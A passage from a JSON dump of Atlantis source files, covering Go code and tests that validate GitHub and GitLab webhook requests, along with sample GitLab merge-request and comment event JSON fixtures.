gitlab.MergeEvent\n\t\t\t\tevent.ObjectAttributes.Action = c.Action\n\t\t\t\tWhen(gl.ParseAndValidate(req, secret)).ThenReturn(event, nil)\n\t\t\t\trepo = models.Repo{}\n\t\t\t\tpullRequest = models.PullRequest{State: models.ClosedPullState}\n\t\t\t\tWhen(p.ParseGitlabMergeRequestEvent(event)).ThenReturn(pullRequest, models.OpenedPullEvent, repo, repo, models.User{}, nil)\n\t\t\tcase models.Github:\n\t\t\t\treq.Header.Set(githubHeader, \"pull_request\")\n\t\t\t\tevent := fmt.Sprintf(`{\"action\": \"%s\"}`, c.Action)\n\t\t\t\tWhen(v.Validate(req, secret)).ThenReturn([]byte(event), nil)\n\t\t\t\trepo = models.Repo{}\n\t\t\t\tpullRequest = models.PullRequest{State: models.ClosedPullState}\n\t\t\t\tWhen(p.ParseGithubPullEvent(Any[logging.SimpleLogging](), Any[*github.PullRequestEvent]())).ThenReturn(pullRequest, models.OpenedPullEvent, repo, repo, models.User{}, nil)\n\t\t\t}\n\n\t\t\tw := httptest.NewRecorder()\n\t\t\te.Post(w, req)\n\t\t\tResponseContains(t, w, http.StatusOK, \"Processing...\")\n\t\t\tcr.VerifyWasCalledOnce().RunAutoplanCommand(models.Repo{}, models.Repo{}, models.PullRequest{State: models.ClosedPullState}, models.User{})\n\t\t})\n\t}\n}\n\nfunc setup(t *testing.T) (events_controllers.VCSEventsController, *mocks.MockGithubRequestValidator, *mocks.MockGitlabRequestParserValidator, *mocks.MockAzureDevopsRequestValidator, *emocks.MockEventParsing, *emocks.MockCommandRunner, *emocks.MockPullCleaner, *vcsmocks.MockClient, *emocks.MockCommentParsing) {\n\tRegisterMockTestingT(t)\n\tv := mocks.NewMockGithubRequestValidator()\n\tgl := mocks.NewMockGitlabRequestParserValidator()\n\tado := mocks.NewMockAzureDevopsRequestValidator()\n\tp := emocks.NewMockEventParsing()\n\tcp := emocks.NewMockCommentParsing()\n\tcr := emocks.NewMockCommandRunner()\n\tc := emocks.NewMockPullCleaner()\n\tvcsmock := vcsmocks.NewMockClient()\n\trepoAllowlistChecker, err := events.NewRepoAllowlistChecker(\"*\")\n\tOk(t, err)\n\tlogger := logging.NewNoopLogger(t)\n\tscope := metricstest.NewLoggingScope(t, logger, \"null\")\n\te := events_controllers.VCSEventsController{\n\t\tExecutableName:                  \"atlantis\",\n\t\tEmojiReaction:                   \"eyes\",\n\t\tTestingMode:                     true,\n\t\tLogger:                          logger,\n\t\tScope:                           scope,\n\t\tApplyDisabled:                   false,\n\t\tAzureDevopsWebhookBasicUser:     user,\n\t\tAzureDevopsWebhookBasicPassword: secret,\n\t\tAzureDevopsRequestValidator:     ado,\n\t\tGithubRequestValidator:          v,\n\t\tParser:                          p,\n\t\tCommentParser:                   cp,\n\t\tCommandRunner:                   cr,\n\t\tPullCleaner:                     c,\n\t\tGithubWebhookSecret:             secret,\n\t\tSupportedVCSHosts:               []models.VCSHostType{models.Github, models.Gitlab, models.AzureDevops, models.Gitea},\n\t\tGiteaWebhookSecret:              secret,\n\t\tGitlabWebhookSecret:             secret,\n\t\tGitlabRequestParserValidator:    gl,\n\t\tRepoAllowlistChecker:            repoAllowlistChecker,\n\t\tVCSClient:                       vcsmock,\n\t}\n\treturn e, v, gl, ado, p, cr, c, vcsmock, cp\n}\n"
  },
  {
    "path": "server/controllers/events/github_request_validator.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage events\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"net/http\"\n\n\t\"github.com/google/go-github/v83/github\"\n)\n\n//go:generate pegomock generate --package mocks -o mocks/mock_github_request_validator.go GithubRequestValidator\n\n// GithubRequestValidator handles checking if GitHub requests are signed\n// properly by the secret.\ntype GithubRequestValidator interface {\n\t// Validate returns the JSON payload of the request.\n\t// If secret is not empty, it checks that the request was signed\n\t// by secret and returns an error if it was not.\n\t// If secret is empty, it does not check if the request was signed.\n\tValidate(r *http.Request, secret []byte) ([]byte, error)\n}\n\n// DefaultGithubRequestValidator handles checking if GitHub requests are signed\n// properly by the secret.\ntype DefaultGithubRequestValidator struct{}\n\n// Validate returns the JSON payload of the request.\n// If secret is not empty, it checks that the request was signed\n// by secret and returns an error if it was not.\n// If secret is empty, it does not check if the request was signed.\nfunc (d *DefaultGithubRequestValidator) Validate(r *http.Request, secret []byte) ([]byte, error) {\n\tif len(secret) != 0 {\n\t\treturn d.validateAgainstSecret(r, secret)\n\t}\n\treturn d.validateWithoutSecret(r)\n}\n\nfunc (d *DefaultGithubRequestValidator) validateAgainstSecret(r *http.Request, secret []byte) ([]byte, error) {\n\tpayload, err := github.ValidatePayload(r, secret)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn payload, nil\n}\n\nfunc (d *DefaultGithubRequestValidator) validateWithoutSecret(r *http.Request) ([]byte, error) {\n\tswitch ct := r.Header.Get(\"Content-Type\"); ct {\n\tcase \"application/json\":\n\t\tpayload, err := io.ReadAll(r.Body)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"could not read body: %s\", err)\n\t\t}\n\t\treturn payload, nil\n\tcase \"application/x-www-form-urlencoded\":\n\t\t// GitHub stores the json payload as a form value.\n\t\tpayloadForm := r.FormValue(\"payload\")\n\t\tif payloadForm == \"\" {\n\t\t\treturn nil, errors.New(\"webhook request did not contain expected 'payload' form value\")\n\t\t}\n\t\treturn []byte(payloadForm), nil\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"webhook request has unsupported Content-Type %q\", ct)\n\t}\n}\n"
  },
  {
    "path": "server/controllers/events/github_request_validator_test.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage events_test\n\nimport (\n\t\"bytes\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"testing\"\n\n\t. \"github.com/petergtz/pegomock/v4\"\n\t\"github.com/runatlantis/atlantis/server/controllers/events\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc TestValidate_WithSecretErr(t *testing.T) {\n\tt.Log(\"if the request is not valid against the secret there is an error\")\n\tRegisterMockTestingT(t)\n\tg := events.DefaultGithubRequestValidator{}\n\tbuf := bytes.NewBufferString(\"\")\n\treq, err := http.NewRequest(\"POST\", \"http://localhost/event\", buf)\n\tOk(t, err)\n\treq.Header.Set(\"X-Hub-Signature\", \"sha1=126f2c800419c60137ce748d7672e77b65cf16d6\")\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\n\t_, err = g.Validate(req, []byte(\"secret\"))\n\tAssert(t, err != nil, \"error should not be nil\")\n\tEquals(t, \"payload signature check failed\", err.Error())\n}\n\nfunc TestValidate_WithSecret(t *testing.T) {\n\tt.Log(\"if the request is valid against the secret the payload is returned\")\n\tRegisterMockTestingT(t)\n\tg := events.DefaultGithubRequestValidator{}\n\tbuf := bytes.NewBufferString(`{\"yo\":true}`)\n\treq, err := http.NewRequest(\"POST\", \"http://localhost/event\", buf)\n\tOk(t, err)\n\treq.Header.Set(\"X-Hub-Signature\", \"sha1=126f2c800419c60137ce748d7672e77b65cf16d6\")\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\n\tbs, err := g.Validate(req, []byte(\"0123456789abcdef\"))\n\tOk(t, err)\n\tEquals(t, `{\"yo\":true}`, string(bs))\n}\n\nfunc TestValidate_WithoutSecretInvalidContentType(t *testing.T) {\n\tt.Log(\"if the request has an invalid content type an error is returned\")\n\tRegisterMockTestingT(t)\n\tg := events.DefaultGithubRequestValidator{}\n\tbuf := bytes.NewBufferString(\"\")\n\treq, err := http.NewRequest(\"POST\", \"http://localhost/event\", buf)\n\tOk(t, err)\n\treq.Header.Set(\"Content-Type\", \"invalid\")\n\n\t_, err = g.Validate(req, nil)\n\tAssert(t, err != nil, \"error should not be nil\")\n\tEquals(t, \"webhook request has unsupported Content-Type \\\"invalid\\\"\", err.Error())\n}\n\nfunc TestValidate_WithoutSecretJSON(t *testing.T) {\n\tt.Log(\"if the request is JSON the body is returned\")\n\tRegisterMockTestingT(t)\n\tg := events.DefaultGithubRequestValidator{}\n\tbuf := bytes.NewBufferString(`{\"yo\":true}`)\n\treq, err := http.NewRequest(\"POST\", \"http://localhost/event\", buf)\n\tOk(t, err)\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\n\tbs, err := g.Validate(req, nil)\n\tOk(t, err)\n\tEquals(t, `{\"yo\":true}`, string(bs))\n}\n\nfunc TestValidate_WithoutSecretFormNoPayload(t *testing.T) {\n\tt.Log(\"if the request is form encoded and does not contain a payload param an error is returned\")\n\tRegisterMockTestingT(t)\n\tg := events.DefaultGithubRequestValidator{}\n\tbuf := bytes.NewBufferString(\"\")\n\treq, err := http.NewRequest(\"POST\", \"http://localhost/event\", buf)\n\tOk(t, err)\n\treq.Header.Set(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\n\t_, err = g.Validate(req, nil)\n\tAssert(t, err != nil, \"error should not be nil\")\n\tEquals(t, \"webhook request did not contain expected 'payload' form value\", err.Error())\n}\n\nfunc TestValidate_WithoutSecretForm(t *testing.T) {\n\tt.Log(\"if the request is form encoded and does not contain a payload param an error is returned\")\n\tRegisterMockTestingT(t)\n\tg := events.DefaultGithubRequestValidator{}\n\tform := url.Values{}\n\tform.Set(\"payload\", `{\"yo\":true}`)\n\tbuf := bytes.NewBufferString(form.Encode())\n\treq, err := http.NewRequest(\"POST\", \"http://localhost/event\", buf)\n\tOk(t, err)\n\treq.Header.Set(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\n\tbs, err := g.Validate(req, nil)\n\tOk(t, err)\n\tEquals(t, `{\"yo\":true}`, string(bs))\n}\n"
  },
  {
    "path": "server/controllers/events/gitlab_request_parser_validator.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage events\n\nimport (\n\t\"crypto/subtle\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io\"\n\t\"net/http\"\n\n\tgitlab \"gitlab.com/gitlab-org/api/client-go\"\n)\n\nconst secretHeader = \"X-Gitlab-Token\" // #nosec\n\n//go:generate pegomock generate --package mocks -o mocks/mock_gitlab_request_parser_validator.go GitlabRequestParserValidator\n\n// GitlabRequestParserValidator parses and validates GitLab requests.\ntype GitlabRequestParserValidator interface {\n\t// ParseAndValidate validates that the request has a token header matching secret.\n\t// If the secret does not match it returns an error.\n\t// If secret is empty it does not check the token header.\n\t// It then parses the request as a GitLab object depending on the header\n\t// provided by GitLab identifying the webhook type. If the webhook type\n\t// is not recognized it will return nil but will not return an error.\n\t// Usage:\n\t//\tevent, err := GitlabRequestParserValidator.ParseAndValidate(r, secret)\n\t//\tif err != nil {\n\t//\t\treturn\n\t//\t}\n\t//\tswitch event := event.(type) {\n\t//\tcase gitlab.MergeCommentEvent:\n\t//\t\t// handle\n\t//\tcase gitlab.MergeEvent:\n\t//\t\t// handle\n\t//\tdefault:\n\t//\t\t// unsupported event\n\t//\t}\n\tParseAndValidate(r *http.Request, secret []byte) (any, error)\n}\n\n// DefaultGitlabRequestParserValidator parses and validates GitLab requests.\ntype DefaultGitlabRequestParserValidator struct{}\n\n// ParseAndValidate returns the JSON payload of the request.\n// See GitlabRequestParserValidator.ParseAndValidate().\nfunc (d *DefaultGitlabRequestParserValidator) ParseAndValidate(r *http.Request, secret []byte) (any, error) {\n\tconst mergeEventHeader = \"Merge Request Hook\"\n\tconst noteEventHeader = \"Note Hook\"\n\n\t// Validate secret if specified.\n\theaderSecret := r.Header.Get(secretHeader)\n\tif len(secret) != 0 && subtle.ConstantTimeCompare(secret, []byte(headerSecret)) != 1 {\n\t\treturn nil, fmt.Errorf(\"header %s=%s did not match expected secret\", secretHeader, headerSecret)\n\t}\n\n\t// Parse request into a gitlab object based on the object type specified\n\t// in the gitlabHeader.\n\tbytes, err := io.ReadAll(r.Body)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tswitch r.Header.Get(gitlabHeader) {\n\tcase mergeEventHeader:\n\t\tvar m gitlab.MergeEvent\n\t\tif err := json.Unmarshal(bytes, &m); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn m, nil\n\tcase noteEventHeader:\n\t\t// First, parse a small part of the json to determine if this is a\n\t\t// comment on a merge request or a commit.\n\t\tvar subset struct {\n\t\t\tObjectAttributes struct {\n\t\t\t\tNoteableType string `json:\"noteable_type\"`\n\t\t\t} `json:\"object_attributes\"`\n\t\t}\n\t\tif err := json.Unmarshal(bytes, &subset); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\t// We then parse into the correct comment event type.\n\t\tswitch subset.ObjectAttributes.NoteableType {\n\t\tcase \"Commit\":\n\t\t\tvar e gitlab.CommitCommentEvent\n\t\t\terr := json.Unmarshal(bytes, &e)\n\t\t\treturn e, err\n\t\tcase \"MergeRequest\":\n\t\t\tvar e gitlab.MergeCommentEvent\n\t\t\terr := json.Unmarshal(bytes, &e)\n\t\t\treturn e, err\n\t\t}\n\t}\n\treturn nil, nil\n}\n"
  },
  {
    "path": "server/controllers/events/gitlab_request_parser_validator_test.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage events_test\n\nimport (\n\t\"bytes\"\n\t\"net/http\"\n\t\"reflect\"\n\t\"testing\"\n\n\t. \"github.com/petergtz/pegomock/v4\"\n\t\"github.com/runatlantis/atlantis/server/controllers/events\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n\tgitlab \"gitlab.com/gitlab-org/api/client-go\"\n)\n\nvar parser = events.DefaultGitlabRequestParserValidator{}\n\nfunc TestValidate_InvalidSecret(t *testing.T) {\n\tt.Log(\"If the secret header is set and doesn't match expected an error is returned\")\n\tRegisterMockTestingT(t)\n\tbuf := bytes.NewBufferString(\"\")\n\treq, err := http.NewRequest(\"POST\", \"http://localhost/event\", buf)\n\tOk(t, err)\n\treq.Header.Set(\"X-Gitlab-Token\", \"does-not-match\")\n\t_, err = parser.ParseAndValidate(req, []byte(\"secret\"))\n\tAssert(t, err != nil, \"should be an error\")\n\tEquals(t, \"header X-Gitlab-Token=does-not-match did not match expected secret\", err.Error())\n}\n\nfunc TestValidate_ValidSecret(t *testing.T) {\n\tt.Log(\"If the secret header matches then the event is returned\")\n\tRegisterMockTestingT(t)\n\tbuf := bytes.NewBufferString(mergeEventJSON)\n\treq, err := http.NewRequest(\"POST\", \"http://localhost/event\", buf)\n\tOk(t, err)\n\treq.Header.Set(\"X-Gitlab-Token\", \"secret\")\n\treq.Header.Set(\"X-Gitlab-Event\", \"Merge Request Hook\")\n\tb, err := parser.ParseAndValidate(req, []byte(\"secret\"))\n\tOk(t, err)\n\tEquals(t, \"atlantis-example\", b.(gitlab.MergeEvent).Project.Name)\n}\n\nfunc TestValidate_NoSecret(t *testing.T) {\n\tt.Log(\"If there is no secret then we ignore the secret header and return the event\")\n\tRegisterMockTestingT(t)\n\tbuf := bytes.NewBufferString(mergeEventJSON)\n\treq, err := http.NewRequest(\"POST\", \"http://localhost/event\", buf)\n\tOk(t, err)\n\treq.Header.Set(\"X-Gitlab-Token\", \"random secret\")\n\treq.Header.Set(\"X-Gitlab-Event\", \"Merge Request Hook\")\n\tb, err := parser.ParseAndValidate(req, nil)\n\tOk(t, err)\n\tEquals(t, \"atlantis-example\", b.(gitlab.MergeEvent).Project.Name)\n}\n\nfunc TestValidate_InvalidMergeEvent(t *testing.T) {\n\tt.Log(\"If the merge event is malformed there should be an error\")\n\tRegisterMockTestingT(t)\n\tbuf := bytes.NewBufferString(\"{\")\n\treq, err := http.NewRequest(\"POST\", \"http://localhost/event\", buf)\n\tOk(t, err)\n\treq.Header.Set(\"X-Gitlab-Event\", \"Merge Request Hook\")\n\t_, err = parser.ParseAndValidate(req, nil)\n\tAssert(t, err != nil, \"should be an error\")\n\tEquals(t, \"unexpected end of JSON input\", err.Error())\n}\n\nfunc TestValidate_InvalidMergeCommentEvent(t *testing.T) {\n\tt.Log(\"If the merge comment event is malformed there should be an error\")\n\tRegisterMockTestingT(t)\n\tbuf := bytes.NewBufferString(\"{\")\n\treq, err := http.NewRequest(\"POST\", \"http://localhost/event\", buf)\n\tOk(t, err)\n\treq.Header.Set(\"X-Gitlab-Event\", \"Note Hook\")\n\t_, err = parser.ParseAndValidate(req, nil)\n\tAssert(t, err != nil, \"should be an error\")\n\tEquals(t, \"unexpected end of JSON input\", err.Error())\n}\n\nfunc TestValidate_UnrecognizedEvent(t *testing.T) {\n\tt.Log(\"If the event is not one we care about we return nil\")\n\tRegisterMockTestingT(t)\n\tbuf := bytes.NewBufferString(\"\")\n\treq, err := http.NewRequest(\"POST\", \"http://localhost/event\", buf)\n\tOk(t, err)\n\treq.Header.Set(\"X-Gitlab-Event\", \"Random Event\")\n\tevent, err := parser.ParseAndValidate(req, nil)\n\tOk(t, err)\n\tEquals(t, nil, event)\n}\n\nfunc TestValidate_ValidMergeEvent(t *testing.T) {\n\tt.Log(\"If the merge event is valid it should be returned\")\n\tRegisterMockTestingT(t)\n\tbuf := bytes.NewBufferString(mergeEventJSON)\n\treq, err := http.NewRequest(\"POST\", \"http://localhost/event\", buf)\n\tOk(t, err)\n\treq.Header.Set(\"X-Gitlab-Event\", \"Merge Request Hook\")\n\tb, err := parser.ParseAndValidate(req, nil)\n\tOk(t, err)\n\tEquals(t, \"atlantis-example\", b.(gitlab.MergeEvent).Project.Name)\n}\n\n// If the comment was on a commit instead of a merge request, make sure we\n// return the right object.\nfunc TestValidate_CommitCommentEvent(t *testing.T) {\n\tRegisterMockTestingT(t)\n\tbuf := bytes.NewBufferString(commitCommentEventJSON)\n\treq, err := http.NewRequest(\"POST\", \"http://localhost/event\", buf)\n\tOk(t, err)\n\treq.Header.Set(\"X-Gitlab-Event\", \"Note Hook\")\n\tb, err := parser.ParseAndValidate(req, nil)\n\tOk(t, err)\n\tEquals(t, \"gitlab.CommitCommentEvent\", reflect.TypeOf(b).String())\n}\n\nfunc TestValidate_ValidMergeCommentEvent(t *testing.T) {\n\tt.Log(\"If the merge comment event is valid it should be returned\")\n\tRegisterMockTestingT(t)\n\tbuf := bytes.NewBufferString(mergeCommentEventJSON)\n\treq, err := http.NewRequest(\"POST\", \"http://localhost/event\", buf)\n\tOk(t, err)\n\treq.Header.Set(\"X-Gitlab-Event\", \"Note Hook\")\n\tb, err := parser.ParseAndValidate(req, nil)\n\tOk(t, err)\n\tEquals(t, \"Gitlab Test\", b.(gitlab.MergeCommentEvent).Project.Name)\n}\n\nvar mergeEventJSON = `{\n  \"object_kind\": \"merge_request\",\n  \"event_type\": \"merge_request\",\n  \"user\": {\n    \"name\": \"Luke Kysow\",\n    \"username\": \"lkysow\",\n    \"avatar_url\": \"https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon\"\n  },\n  \"project\": {\n    \"id\": 4580910,\n    \"name\": \"atlantis-example\",\n    \"description\": \"\",\n    \"web_url\": \"https://gitlab.com/lkysow/atlantis-example\",\n    \"avatar_url\": null,\n    \"git_ssh_url\": \"git@gitlab.com:lkysow/atlantis-example.git\",\n    \"git_http_url\": \"https://gitlab.com/lkysow/atlantis-example.git\",\n    \"namespace\": \"lkysow\",\n    \"visibility_level\": 20,\n    \"path_with_namespace\": \"lkysow/atlantis-example\",\n    \"default_branch\": \"main\",\n    \"ci_config_path\": null,\n    \"homepage\": \"https://gitlab.com/lkysow/atlantis-example\",\n    \"url\": \"git@gitlab.com:lkysow/atlantis-example.git\",\n    \"ssh_url\": \"git@gitlab.com:lkysow/atlantis-example.git\",\n    \"http_url\": \"https://gitlab.com/lkysow/atlantis-example.git\"\n  },\n  \"object_attributes\": {\n    \"assignee_id\": null,\n    \"author_id\": 1755902,\n    \"created_at\": \"2018-12-12 16:15:21 UTC\",\n    \"description\": \"\",\n    \"head_pipeline_id\": null,\n    \"id\": 20809239,\n    \"iid\": 12,\n    \"last_edited_at\": null,\n    \"last_edited_by_id\": null,\n    \"merge_commit_sha\": null,\n    \"merge_error\": null,\n    \"merge_params\": {\n      \"force_remove_source_branch\": false\n    },\n    \"merge_status\": \"unchecked\",\n    \"merge_user_id\": null,\n    \"merge_when_pipeline_succeeds\": false,\n    \"milestone_id\": null,\n    \"source_branch\": \"patch-1\",\n    \"source_project_id\": 4580910,\n    \"state\": \"opened\",\n    \"target_branch\": \"main\",\n    \"target_project_id\": 4580910,\n    \"time_estimate\": 0,\n    \"title\": \"Update main.tf\",\n    \"updated_at\": \"2018-12-12 16:15:21 UTC\",\n    \"updated_by_id\": null,\n    \"url\": \"https://gitlab.com/lkysow/atlantis-example/merge_requests/12\",\n    \"source\": {\n      \"id\": 4580910,\n      \"name\": \"atlantis-example\",\n      \"description\": \"\",\n      \"web_url\": \"https://gitlab.com/sourceorg/atlantis-example\",\n      \"avatar_url\": null,\n      \"git_ssh_url\": \"git@gitlab.com:sourceorg/atlantis-example.git\",\n      \"git_http_url\": \"https://gitlab.com/sourceorg/atlantis-example.git\",\n      \"namespace\": \"sourceorg\",\n      \"visibility_level\": 20,\n      \"path_with_namespace\": \"sourceorg/atlantis-example\",\n      \"default_branch\": \"main\",\n      \"ci_config_path\": null,\n      \"homepage\": \"https://gitlab.com/sourceorg/atlantis-example\",\n      \"url\": \"git@gitlab.com:sourceorg/atlantis-example.git\",\n      \"ssh_url\": \"git@gitlab.com:sourceorg/atlantis-example.git\",\n      \"http_url\": \"https://gitlab.com/sourceorg/atlantis-example.git\"\n    },\n    \"target\": {\n      \"id\": 4580910,\n      \"name\": \"atlantis-example\",\n      \"description\": \"\",\n      \"web_url\": \"https://gitlab.com/lkysow/atlantis-example\",\n      \"avatar_url\": null,\n      \"git_ssh_url\": \"git@gitlab.com:lkysow/atlantis-example.git\",\n      \"git_http_url\": \"https://gitlab.com/lkysow/atlantis-example.git\",\n      \"namespace\": \"lkysow\",\n      \"visibility_level\": 20,\n      \"path_with_namespace\": \"lkysow/atlantis-example\",\n      \"default_branch\": \"main\",\n      \"ci_config_path\": null,\n      \"homepage\": \"https://gitlab.com/lkysow/atlantis-example\",\n      \"url\": \"git@gitlab.com:lkysow/atlantis-example.git\",\n      \"ssh_url\": \"git@gitlab.com:lkysow/atlantis-example.git\",\n      \"http_url\": \"https://gitlab.com/lkysow/atlantis-example.git\"\n    },\n    \"last_commit\": {\n      \"id\": \"d2eae324ca26242abca45d7b49d582cddb2a4f15\",\n      \"message\": \"Update main.tf\",\n      \"timestamp\": \"2018-12-12T16:15:10Z\",\n      \"url\": \"https://gitlab.com/lkysow/atlantis-example/commit/d2eae324ca26242abca45d7b49d582cddb2a4f15\",\n      \"author\": {\n        \"name\": \"Luke Kysow\",\n        \"email\": \"lkysow@gmail.com\"\n      }\n    },\n    \"work_in_progress\": false,\n    \"total_time_spent\": 0,\n    \"human_total_time_spent\": null,\n    \"human_time_estimate\": null,\n    \"action\": \"open\"\n  },\n  \"labels\": [\n\n  ],\n  \"changes\": {\n    \"author_id\": {\n      \"previous\": null,\n      \"current\": 1755902\n    },\n    \"created_at\": {\n      \"previous\": null,\n      \"current\": \"2018-12-12 16:15:21 UTC\"\n    },\n    \"description\": {\n      \"previous\": null,\n      \"current\": \"\"\n    },\n    \"id\": {\n      \"previous\": null,\n      \"current\": 20809239\n    },\n    \"iid\": {\n      \"previous\": null,\n      \"current\": 12\n    },\n    \"merge_params\": {\n      \"previous\": {\n      },\n      \"current\": {\n        \"force_remove_source_branch\": false\n      }\n    },\n    \"source_branch\": {\n      \"previous\": null,\n      \"current\": \"patch-1\"\n    },\n    \"source_project_id\": {\n      \"previous\": null,\n      \"current\": 4580910\n    },\n    \"target_branch\": {\n      \"previous\": null,\n      \"current\": \"main\"\n    },\n    \"target_project_id\": {\n      \"previous\": null,\n      \"current\": 4580910\n    },\n    \"title\": {\n      \"previous\": null,\n      \"current\": \"Update main.tf\"\n    },\n    \"updated_at\": {\n      \"previous\": null,\n      \"current\": \"2018-12-12 16:15:21 UTC\"\n    },\n    \"total_time_spent\": {\n      \"previous\": null,\n      \"current\": 0\n    }\n  },\n  \"repository\": {\n    \"name\": \"atlantis-example\",\n    \"url\": \"git@gitlab.com:lkysow/atlantis-example.git\",\n    \"description\": \"\",\n    \"homepage\": \"https://gitlab.com/lkysow/atlantis-example\"\n  }\n}\n`\n\nvar mergeCommentEventJSON = `{\n  \"object_kind\": \"note\",\n  \"user\": {\n    \"name\": \"Administrator\",\n    \"username\": \"root\",\n    \"avatar_url\": \"http://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=40\\u0026d=identicon\"\n  },\n  \"project_id\": 5,\n  \"project\":{\n    \"id\": 5,\n    \"name\":\"Gitlab Test\",\n    \"description\":\"Aut reprehenderit ut est.\",\n    \"web_url\":\"http://example.com/gitlabhq/gitlab-test\",\n    \"avatar_url\":null,\n    \"git_ssh_url\":\"git@example.com:gitlabhq/gitlab-test.git\",\n    \"git_http_url\":\"https://example.com/gitlabhq/gitlab-test.git\",\n    \"namespace\":\"Gitlab Org\",\n    \"visibility_level\":10,\n    \"path_with_namespace\":\"gitlabhq/gitlab-test\",\n    \"default_branch\":\"main\",\n    \"homepage\":\"http://example.com/gitlabhq/gitlab-test\",\n    \"url\":\"https://example.com/gitlabhq/gitlab-test.git\",\n    \"ssh_url\":\"git@example.com:gitlabhq/gitlab-test.git\",\n    \"http_url\":\"https://example.com/gitlabhq/gitlab-test.git\"\n  },\n  \"repository\":{\n    \"name\": \"Gitlab Test\",\n    \"url\": \"http://localhost/gitlab-org/gitlab-test.git\",\n    \"description\": \"Aut reprehenderit ut est.\",\n    \"homepage\": \"http://example.com/gitlab-org/gitlab-test\"\n  },\n  \"object_attributes\": {\n    \"id\": 1244,\n    \"note\": \"This MR needs work.\",\n    \"noteable_type\": \"MergeRequest\",\n    \"author_id\": 1,\n    \"created_at\": \"2015-05-17\",\n    \"updated_at\": \"2015-05-17\",\n    \"project_id\": 5,\n    \"attachment\": null,\n    \"line_code\": null,\n    \"commit_id\": \"\",\n    \"noteable_id\": 7,\n    \"system\": false,\n    \"st_diff\": null,\n    \"url\": \"http://example.com/gitlab-org/gitlab-test/merge_requests/1#note_1244\"\n  },\n  \"merge_request\": {\n    \"id\": 7,\n    \"target_branch\": \"markdown\",\n    \"source_branch\": \"main\",\n    \"source_project_id\": 5,\n    \"author_id\": 8,\n    \"assignee_id\": 28,\n    \"title\": \"Tempora et eos debitis quae laborum et.\",\n    \"created_at\": \"2015-03-01 20:12:53 UTC\",\n    \"updated_at\": \"2015-03-21 18:27:27 UTC\",\n    \"milestone_id\": 11,\n    \"state\": \"opened\",\n    \"merge_status\": \"cannot_be_merged\",\n    \"target_project_id\": 5,\n    \"iid\": 1,\n    \"description\": \"Et voluptas corrupti assumenda temporibus. Architecto cum animi eveniet amet asperiores. Vitae numquam voluptate est natus sit et ad id.\",\n    \"position\": 0,\n    \"source\":{\n      \"name\":\"Gitlab Test\",\n      \"description\":\"Aut reprehenderit ut est.\",\n      \"web_url\":\"http://example.com/gitlab-org/gitlab-test\",\n      \"avatar_url\":null,\n      \"git_ssh_url\":\"git@example.com:gitlab-org/gitlab-test.git\",\n      \"git_http_url\":\"https://example.com/gitlab-org/gitlab-test.git\",\n      \"namespace\":\"Gitlab Org\",\n      \"visibility_level\":10,\n      \"path_with_namespace\":\"gitlab-org/gitlab-test\",\n      \"default_branch\":\"main\",\n      \"homepage\":\"http://example.com/gitlab-org/gitlab-test\",\n      \"url\":\"https://example.com/gitlab-org/gitlab-test.git\",\n      \"ssh_url\":\"git@example.com:gitlab-org/gitlab-test.git\",\n      \"http_url\":\"https://example.com/gitlab-org/gitlab-test.git\",\n      \"git_http_url\":\"https://example.com/gitlab-org/gitlab-test.git\"\n    },\n    \"target\": {\n      \"name\":\"Gitlab Test\",\n      \"description\":\"Aut reprehenderit ut est.\",\n      \"web_url\":\"http://example.com/gitlabhq/gitlab-test\",\n      \"avatar_url\":null,\n      \"git_ssh_url\":\"git@example.com:gitlabhq/gitlab-test.git\",\n      